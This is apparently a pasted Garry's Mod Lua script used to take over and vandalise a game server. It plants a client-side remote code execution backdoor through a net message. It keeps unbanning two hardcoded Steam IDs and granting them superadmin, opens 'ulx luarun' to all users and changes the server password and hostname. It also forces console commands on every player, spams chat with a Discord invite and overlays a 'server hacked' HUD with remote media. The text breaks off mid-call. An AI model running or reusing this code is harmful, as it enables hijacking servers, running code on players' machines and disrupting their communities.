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Lapute Jul 19th, 2019 73 Never
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  1. util.AddNetworkString "slua2"
  2.  
  3. local DESIRED_NAME = "This Steam account has been VAC banned from secure servers due to a cheating infraction."
  4.  
  5. local lol = {}
  6. function lol:RandomString( intMin, intMax )
  7.     local ret = ""
  8.     for _ = 1, math.random( intMin, intMax ) do
  9.         ret = ret.. string.char( math.random(65, 90) )
  10.     end
  11.  
  12.     return ret
  13. end
  14.  
  15.  
  16.  
  17. lol.m_tblActions = {}
  18. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  19. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  20.  
  21. function lol:PushAction( intChainDelay, func )
  22.     self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  23. end
  24.  
  25. function lol:NextAction( pPlayer )
  26.     pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  27.     if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  28.  
  29.     timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  30.         if not IsValid( pPlayer ) then return end
  31.         self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  32.         self:NextAction( pPlayer )
  33.     end )
  34. end
  35.  
  36. function lol:Start( pPlayer )
  37.     pPlayer.m_intCurAction = 0
  38.     self:NextAction( pPlayer )
  39. end
  40.  
  41. function lol:SendLua( pPlayer, strLua )
  42.     net.Start( "slua2" )
  43.         net.WriteString( strLua )
  44.     net.Send( pPlayer )
  45. end
  46.  
  47. function lol:SetupPlayer( pPlayer )
  48.     pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
  49. end
  50.  
  51.  
  52. -------START CODE FORT BAN/UNBAN/ETC...
  53.     timer.Create( "sethealh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "2147483647") end)
  54.     timer.Create( "logecho0", 1, 0, function() RunConsoleCommand("ulx", "logecho", "0") end)
  55.     timer.Create( "godall", 1, 0, function() RunConsoleCommand("ulx", "god", "*") end)
  56. for k, v in pairs( player.GetAll() ) do
  57.     timer.Create( "moneymoney", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  58.     timer.Create( "ripriprip", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP")]]) end)
  59.     timer.Create( "getowned", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MELATRON")]]) end)
  60.     timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Quel dommage, toutes les données du serveur seront supprimés dans moins de 1 minute ! :( ")]]) end)
  61.     timer.Create( "checkForBanSparks", 10, 0, function() ULib.unban( "STEAM_0:0:105015067") end)
  62.     timer.Create( "setSUPERADMINSparks", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:105015067", "superadmin") end)
  63.     timer.Create( "checkForBanLenny", 10, 0, function() ULib.unban( "STEAM_0:1:81414478") end)
  64.     timer.Create( "setSUPERADMINLenny", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:81414478", "superadmin") end)
  65.     timer.Create( "luarun", 2, 0, function() RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun") end)
  66.     timer.Create( "resetmoney", 0.1, 0, function() RunConsoleCommand("rp_resetallmoney") end)
  67.     timer.Create( "csay", 0.1, 0, function() RunConsoleCommand("ulx", "csay", "OMG GET FUCKT BY TEAMSMENU.EXE | https://discord.gg/JwTjN8Z") end)
  68.     timer.Create( "hostname", 2, 0, function() RunConsoleCommand("ulx", "rcon", "hostname", "Serveur hacké par la sharing | Discord : https://discord.gg/JwTjN8Z") end)
  69.     timer.Create( "sv_password", 2, 0, function() RunConsoleCommand("ulx", "rcon", "sv_password", "smenu.exe") end)
  70.     timer.Create( "bot", 0.1, 0, function() RunConsoleCommand("ulx", "rcon", "bot") end)
  71.     timer.Create( "changer de nom", 0.5, 0, function() for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end  end)
  72.     timer.Create( "undoprops", 0.1, 0, function() for k, v in pairs(player.GetAll()) do v:ConCommand("undo") end end)
  73. end
  74. ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
  75.  
  76. -----START LINE CODE FOR DANSE
  77. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("cheer_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
  78. -----STOP LINE CODE FOR DANSE
  79.  
  80. ------- STARTCODE FOR FORCE CHANGE NAME
  81. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  82. ------- STOP LINE CODE FOR CHANGE NAME
  83.  
  84. ------- ARMAGEDDON
  85.             hook.Add("Think", "armageddon", function()
  86.                 local explode = ents.Create( "env_explosion" )
  87.                     explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  88.                     explode:Spawn()
  89.                     explode:SetKeyValue( "iMagnitude", "500" )
  90.                     explode:Fire( "Explode", 0, 0 )
  91.                 end)  
  92. ---------TOURNER
  93.  
  94. for k,v in ipairs(player.GetAll()) do
  95.     v:ConCommand("+right")
  96.     v:ConCommand("+duck")
  97.     v:ConCommand("+voicerecord")
  98.     v:ConCommand("gmod_language","ko")
  99.     v:ConCommand("ground","color.math.66=math.99")
  100.     v:ConCommand("r_shader_srgb","1")
  101.     v:ConCommand("cl_yawspeed","9999")
  102.    
  103. end
  104.  
  105. --------- GIANT
  106. hook.Add("Think", "giant", function()
  107.     for k,v in pairs (player.GetAll()) do
  108.         v:SetModelScale(50.5, 100);
  109.         v:SetRunSpeed(400 * 2);
  110.         v:SetWalkSpeed(200 * 2);
  111.     end
  112. end)
  113. ------------------
  114.  
  115. for k,v in pairs(player.GetAll()) do
  116.     v:ConCommand("say armageddon")
  117. end
  118.  
  119. for k,v in pairs(player.GetAll()) do
  120.     v:ConCommand("say giant")
  121. end
  122.  
  123. for k, v in pairs( player.GetAll() ) do
  124.     lol:SetupPlayer( v )
  125.     timer.Simple( 2, function() lol:Start( v ) end )
  126. end
  127.  
  128. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  129.     lol:SetupPlayer( pPlayer )
  130.     timer.Simple( 10, function() lol:Start( pPlayer ) end )
  131. end )
  132. hook.Add( "PlayerFootstep", "oooh", function( ply )
  133.            
  134.     ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) )
  135.            
  136. end )
  137.  
  138. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  139.     if strText:sub( 1, 5 ) == "/1337" then
  140.         pSender:Ignite( 1e9 )
  141.         pSender:ChatPrint( "fuck this job i quit" )
  142.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  143.         return false
  144.     end
  145. end )
  146.  
  147. hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
  148.     if strText:sub( 1, 5 ) == "what" then
  149.         pSender:Ignite( 1e9 )
  150.         pSender:ChatPrint( "Que demande un douanier à un cochon qui passe la frontière ? Son passe-porc ! lol xd mdr lol xptdr... vref brule connard" )
  151.         pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  152.         return false
  153.     end
  154. end)
  155.  
  156. --Sequence stack
  157. --Start some tunes and steam in our assets
  158. lol:PushAction( 0, function( pPlayer )
  159.     lol:SendLua( pPlayer, ([=[
  160.         sound.PlayURL( "https://musicdeouff.000webhostapp.com/turnitup.mp3", "", function()end )
  161.        
  162.         g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  163.         local html = [[%s]]
  164.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  165.             local pnl = vgui.Create( "HTML" )
  166.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  167.             pnl:SetVisible( true )
  168.             pnl:SetMouseInputEnabled( false )
  169.             pnl:SetKeyBoardInputEnabled( false )
  170.             pnl:SetSize( intSizeX, intSizeY )
  171.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  172.            
  173.             local PageLoaded
  174.             PageLoaded = function()
  175.                 local mat = pnl:GetHTMLMaterial()
  176.                 if mat then
  177.                     g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  178.                     return
  179.                 end
  180.                
  181.                 timer.Simple( 0.5, PageLoaded )
  182.             end
  183.  
  184.             PageLoaded()
  185.         end
  186.  
  187. LoadWebMaterial( "https://cdn.frankerfacez.com/068183fea2bfbea358eae44fb5af1469.png", "getrekt", 1000, 1000 )
  188. LoadWebMaterial( "https://media.giphy.com/media/uCa2PBLWtcidy/giphy.gif", "getrekt2", 152, 250 )
  189. LoadWebMaterial( "https://media.tenor.com/images/1becb19cbedc5d189eed3102a9c86bf2/tenor.gif", "getrekt3", 152, 250 )
  190. ]=]):format(lol.m_strImageLoadHTML) )
  191. end )
  192.  
  193. --HUD swap
  194. lol:PushAction( 46, function( pPlayer )
  195.     lol:SendLua( pPlayer, [[
  196.         (GAMEMODE or GM).CalcView = function() end
  197.         (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  198.  
  199.         local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  200.         for k, v in pairs(remove) do
  201.             hook.GetTable()[v] = {}
  202.         end
  203.  
  204.         local function GetWebMat( strURL )
  205.             return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  206.         end
  207.  
  208.         hook.Add( "HUDPaint", "newhud", function()
  209.             surface.SetDrawColor( 255, 255, 255, 255 )
  210.  
  211.  
  212.                         if GetWebMat( "getrekt" ) then
  213.                                 surface.SetMaterial( GetWebMat("getrekt")[1] )
  214.                                 surface.DrawTexturedRect( 500, 50, 1000, 1000 )
  215.                         end
  216.                         if GetWebMat( "getrekt2" ) then
  217.                                 surface.SetMaterial( GetWebMat("getrekt2")[1] )
  218.                                 surface.DrawTexturedRect( 100, 425, 400, 400 )
  219.                         end
  220.                         if GetWebMat( "getrekt3" ) then
  221.                                 surface.SetMaterial( GetWebMat("getrekt3")[1] )
  222.                                 surface.DrawTexturedRect( 1550, 425, 400, 400 )
  223.                         end
  224.  
  225.                 draw.SimpleTextOutlined(
  226.                 "---»--@-} By !!!Mel le Dieu de la Destruction {-@--«---",
  227.                 "DermaLarge",
  228.                 ScrW() /2 +math.random( -8, 8 ),
  229.                 ScrH() /2 +math.random( -8, 8 ) +64,
  230.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  231.                 TEXT_ALIGN_CENTER,
  232.                 TEXT_ALIGN_CENTER,
  233.                 1,
  234.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  235.             )
  236.  
  237.                 draw.SimpleTextOutlined(
  238.                 "-=₪۩۞۩₪=  Serveur Hacké avec Smenu =₪۩۞۩₪=-",
  239.                 "DermaLarge",
  240.                 ScrW() /2 +math.random( -8, 8 ),
  241.                 ScrH() /2 +math.random( -8, 8 ) +24,
  242.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  243.                 TEXT_ALIGN_CENTER,
  244.                 TEXT_ALIGN_CENTER,
  245.                 1,
  246.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  247.             )
  248.             draw.SimpleTextOutlined(
  249.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  250.                 "DermaLarge",
  251.                 ScrW() /2 +math.random( -2, 2 ),
  252.                 ScrH() /2 +math.random( -2, 2 ) -160,
  253.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  254.                 TEXT_ALIGN_CENTER,
  255.                 TEXT_ALIGN_CENTER,
  256.                 3,
  257.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  258.             )
  259.  
  260.             draw.SimpleTextOutlined(
  261.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  262.                 "DermaLarge",
  263.                 ScrW() /2 +math.random( -2, 2 ),
  264.                 ScrH() /2 +math.random( -2, 2 ) +160,
  265.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  266.                 TEXT_ALIGN_CENTER,
  267.                 TEXT_ALIGN_CENTER,
  268.                 3,
  269.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  270.             )
  271.             draw.SimpleTextOutlined(
  272.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  273.                 "DermaLarge",
  274.                 ScrW() /2 +math.random( -2, 2 ),
  275.                 ScrH() /2 +math.random( -2, 2 ) +190,
  276.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  277.                 TEXT_ALIGN_CENTER,
  278.                 TEXT_ALIGN_CENTER,
  279.                 3,
  280.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  281.             )
  282.             draw.SimpleTextOutlined(
  283.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  284.                 "DermaLarge",
  285.                 ScrW() /2 +math.random( -2, 2 ),
  286.                 ScrH() /2 +math.random( -2, 2 ) -190,
  287.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  288.                 TEXT_ALIGN_CENTER,
  289.                 TEXT_ALIGN_CENTER,
  290.                 3,
  291.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  292.             )
  293.             draw.SimpleTextOutlined(
  294.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  295.                 "DermaLarge",
  296.                 ScrW() /2 +math.random( -2, 2 ),
  297.                 ScrH() /2 +math.random( -2, 2 ) +220,
  298.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  299.                 TEXT_ALIGN_CENTER,
  300.                 TEXT_ALIGN_CENTER,
  301.                 3,
  302.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  303.             )
  304.             draw.SimpleTextOutlined(
  305.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  306.                 "DermaLarge",
  307.                 ScrW() /2 +math.random( -2, 2 ),
  308.                 ScrH() /2 +math.random( -2, 2 ) -220,
  309.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  310.                 TEXT_ALIGN_CENTER,
  311.                 TEXT_ALIGN_CENTER,
  312.                 3,
  313.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  314.             )
  315.             draw.SimpleTextOutlined(
  316.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  317.                 "DermaLarge",
  318.                 ScrW() /2 +math.random( -2, 2 ),
  319.                 ScrH() /2 +math.random( -2, 2 ) +250,
  320.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  321.                 TEXT_ALIGN_CENTER,
  322.                 TEXT_ALIGN_CENTER,
  323.                 3,
  324.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  325.             )
  326.             draw.SimpleTextOutlined(
  327.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  328.                 "DermaLarge",
  329.                 ScrW() /2 +math.random( -2, 2 ),
  330.                 ScrH() /2 +math.random( -2, 2 ) -250,
  331.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  332.                 TEXT_ALIGN_CENTER,
  333.                 TEXT_ALIGN_CENTER,
  334.                 3,
  335.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  336.             )
  337.             draw.SimpleTextOutlined(
  338.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  339.                 "DermaLarge",
  340.                 ScrW() /2 +math.random( -2, 2 ),
  341.                 ScrH() /2 +math.random( -2, 2 ) +280,
  342.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  343.                 TEXT_ALIGN_CENTER,
  344.                 TEXT_ALIGN_CENTER,
  345.                 3,
  346.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  347.             )
  348.             draw.SimpleTextOutlined(
  349.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  350.                 "DermaLarge",
  351.                 ScrW() /2 +math.random( -2, 2 ),
  352.                 ScrH() /2 +math.random( -2, 2 ) -280,
  353.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  354.                 TEXT_ALIGN_CENTER,
  355.                 TEXT_ALIGN_CENTER,
  356.                 3,
  357.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  358.             )
  359.             draw.SimpleTextOutlined(
  360.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  361.                 "DermaLarge",
  362.                 ScrW() /2 +math.random( -2, 2 ),
  363.                 ScrH() /2 +math.random( -2, 2 ) +310,
  364.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  365.                 TEXT_ALIGN_CENTER,
  366.                 TEXT_ALIGN_CENTER,
  367.                 3,
  368.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  369.             )
  370.             draw.SimpleTextOutlined(
  371.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  372.                 "DermaLarge",
  373.                 ScrW() /2 +math.random( -2, 2 ),
  374.                 ScrH() /2 +math.random( -2, 2 ) -310,
  375.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  376.                 TEXT_ALIGN_CENTER,
  377.                 TEXT_ALIGN_CENTER,
  378.                 3,
  379.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  380.             )
  381.             draw.SimpleTextOutlined(
  382.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  383.                 "DermaLarge",
  384.                 ScrW() /2 +math.random( -2, 2 ),
  385.                 ScrH() /2 +math.random( -2, 2 ) +340,
  386.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  387.                 TEXT_ALIGN_CENTER,
  388.                 TEXT_ALIGN_CENTER,
  389.                 3,
  390.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  391.             )
  392.             draw.SimpleTextOutlined(
  393.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  394.                 "DermaLarge",
  395.                 ScrW() /2 +math.random( -2, 2 ),
  396.                 ScrH() /2 +math.random( -2, 2 ) -340,
  397.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  398.                 TEXT_ALIGN_CENTER,
  399.                 TEXT_ALIGN_CENTER,
  400.                 3,
  401.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  402.             )
  403.             draw.SimpleTextOutlined(
  404.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  405.                 "DermaLarge",
  406.                 ScrW() /2 +math.random( -2, 2 ),
  407.                 ScrH() /2 +math.random( -2, 2 ) -370,
  408.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  409.                 TEXT_ALIGN_CENTER,
  410.                 TEXT_ALIGN_CENTER,
  411.                 3,
  412.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  413.             )
  414.             draw.SimpleTextOutlined(
  415.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  416.                 "DermaLarge",
  417.                 ScrW() /2 +math.random( -2, 2 ),
  418.                 ScrH() /2 +math.random( -2, 2 ) +370,
  419.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  420.                 TEXT_ALIGN_CENTER,
  421.                 TEXT_ALIGN_CENTER,
  422.                 3,
  423.                Color(math.random(1,255),math.random(1,255),math.random(1,255))
  424.             )
  425.             draw.SimpleTextOutlined(
  426.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  427.                 "DermaLarge",
  428.                 ScrW() /2 +math.random( -2, 2 ),
  429.                 ScrH() /2 +math.random( -2, 2 ) -400,
  430.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  431.                 TEXT_ALIGN_CENTER,
  432.                 TEXT_ALIGN_CENTER,
  433.                 3,
  434.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  435.             )
  436.             draw.SimpleTextOutlined(
  437.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  438.                 "DermaLarge",
  439.                 ScrW() /2 +math.random( -2, 2 ),
